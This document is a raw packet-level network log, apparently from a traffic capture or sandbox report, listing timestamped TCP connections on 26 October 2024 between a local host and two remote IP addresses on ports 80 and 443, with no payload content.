Oct 26, 2024 08:54:07.726898909 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726911068 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.726914883 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726924896 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726942062 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.726948023 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.726979971 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.809966087 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.809992075 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.810009956 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.810065031 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.810065031 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.810718060 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.810734987 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.810750961 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.810774088 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.810802937 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851478100 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851543903 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851557970 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851577997 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851609945 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851644039 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851659060 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851659060 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851659060 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851675987 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851707935 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851707935 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851725101 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851749897 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851758003 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851792097 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851804018 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851834059 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851847887 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851881027 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851905107 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851912975 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851922989 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851947069 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.851974010 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.851980925 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.852025032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.852690935 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.852725983 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.852758884 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.852772951 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.852793932 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.852802038 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.855242968 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.930578947 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.930604935 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.930623055 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.930850029 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.930850029 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.930996895 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.931025028 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.931040049 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.931071997 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.931092978 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.965863943 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.965909958 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.965924978 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.965940952 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.966131926 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.966131926 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.971656084 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.971676111 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.971724987 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.971740961 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.971741915 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.971761942 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.971767902 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.971779108 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.971791029 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.971821070 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.971822023 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.972187042 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.972203970 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.972220898 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.972246885 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.972271919 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.972448111 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.972464085 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.972482920 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.972501040 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.972510099 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.972538948 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.972558975 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.973004103 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.973022938 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.973047018 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.973050117 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.973066092 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.973063946 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.973083973 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.973103046 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:07.973104000 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.973130941 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:07.973150015 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.050622940 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.050648928 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.050668001 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.050806999 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.050807953 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.053761005 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.053782940 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.053814888 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.053853035 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.053874969 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.053889036 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.053941011 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.086427927 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.086450100 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.086467028 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.086486101 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.086529016 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.086529016 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.091999054 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092015982 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092032909 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092067957 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.092103004 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.092123032 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092140913 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092160940 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092176914 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092185974 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.092195034 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092204094 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.092214108 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092228889 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.092245102 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.092264891 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.092863083 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092885971 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.092910051 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093002081 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093018055 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093034029 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093044996 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093044996 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093082905 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093082905 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093257904 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093301058 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093308926 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093327045 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093344927 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093349934 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093363047 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093373060 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093399048 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093399048 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093868017 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093924999 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.093928099 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.093966961 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.172795057 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.172897100 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.172950029 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.172985077 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.173022032 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.173022032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.173052073 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.173057079 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.173079014 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.173089027 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.173094034 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.173125029 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.173135996 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.173172951 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.206562996 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.206578970 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.206594944 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.206674099 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.206762075 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.212513924 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.212594032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.212652922 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.212686062 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.212698936 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.212795019 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.212831020 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.212863922 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.212877035 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.212905884 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.212910891 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.212940931 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.212945938 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.212975979 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.213002920 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.213018894 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.213027954 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.213073015 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.213653088 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.213685989 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.213697910 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.213721991 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.213731050 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.213756084 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.213763952 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.213798046 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.213985920 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.214020014 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.214027882 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.214057922 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.214143991 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.214176893 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.214180946 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.214214087 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.214227915 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.214261055 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.254249096 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.254281998 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.254314899 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.254347086 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.254425049 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.254426003 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.254556894 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.291450977 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.291466951 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.291481972 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.291702986 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.291703939 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.292037010 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.292049885 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.292085886 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.292115927 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.292186975 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.292201996 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.292244911 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.324969053 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:08.325220108 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:08.326370001 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:08.326400042 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:08.327094078 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.327162027 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.327227116 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.327276945 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.327651978 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:08.328866959 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:08.329009056 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:08.329123974 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:08.332890034 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.332958937 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333012104 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333029032 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333060026 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333066940 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333077908 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333085060 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333106995 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333122969 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333347082 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333364010 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333379030 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333394051 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333395958 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333421946 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333452940 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333655119 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333703041 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333775043 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333791971 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333820105 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333848000 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.333923101 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.333966970 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.334220886 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.334249973 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.334265947 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.334271908 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.334307909 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.334307909 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.334367990 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.334386110 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.334403992 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.334418058 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.334453106 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.334453106 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.374567986 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.374593019 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.374617100 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.374644041 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.374723911 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.411771059 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.411804914 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.411832094 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.411839962 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.411900043 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.411900043 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.412421942 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.412451029 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.412475109 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.412487030 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.412498951 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.412539005 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.412556887 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.412594080 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453320026 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453360081 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453396082 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453428984 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453465939 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453499079 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453535080 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453573942 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453572989 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453573942 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453573942 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453573942 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453573942 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453633070 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453633070 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453654051 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453696966 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453761101 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453794003 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453809977 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453836918 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453866959 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453901052 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453932047 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453933954 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453959942 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.453969002 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.453979969 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454009056 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454015970 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454039097 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454066038 CEST	49984	80	192.168.2.7	185.215.113.16
